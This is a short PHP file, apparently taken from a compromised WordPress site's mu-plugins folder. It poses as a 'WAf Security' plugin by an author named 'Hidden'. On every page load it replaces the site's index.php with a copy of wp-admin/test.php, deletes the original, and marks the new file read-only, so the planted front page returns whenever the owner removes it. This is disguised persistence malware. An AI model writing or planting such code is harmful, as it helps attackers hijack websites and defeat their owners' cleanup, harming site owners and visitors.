File: /home/zulfiqar/public_html/wp-content/mu-plugins/__waffance.php
<?php
/*
Plugin Name: WAf Security
Description: WAf Security
Version: 1.2
Author: Hidden
*/
if (!function_exists('copy_and_protect_index')) {
function copy_and_protect_index() {
$source = ABSPATH . 'wp-admin/test.php';
$destination = ABSPATH . 'index.php';
if (!file_exists($source)) {
return;
}
$sourceHash = md5_file($source);
$destHash = file_exists($destination) ? md5_file($destination) : null;
// İçerik farklıysa veya index hiç yoksa yeniden yaz
if ($sourceHash !== $destHash) {
if (file_exists($destination) && !is_writable($destination)) {
@chmod($destination, 0644); // yazılabilir yap
}
@unlink($destination); // eskiyi sil
copy($source, $destination); // yenisini kopyala
@chmod($destination, 0444); // korumaya al
}
}
add_action('init', 'copy_and_protect_index', 0);
}
?>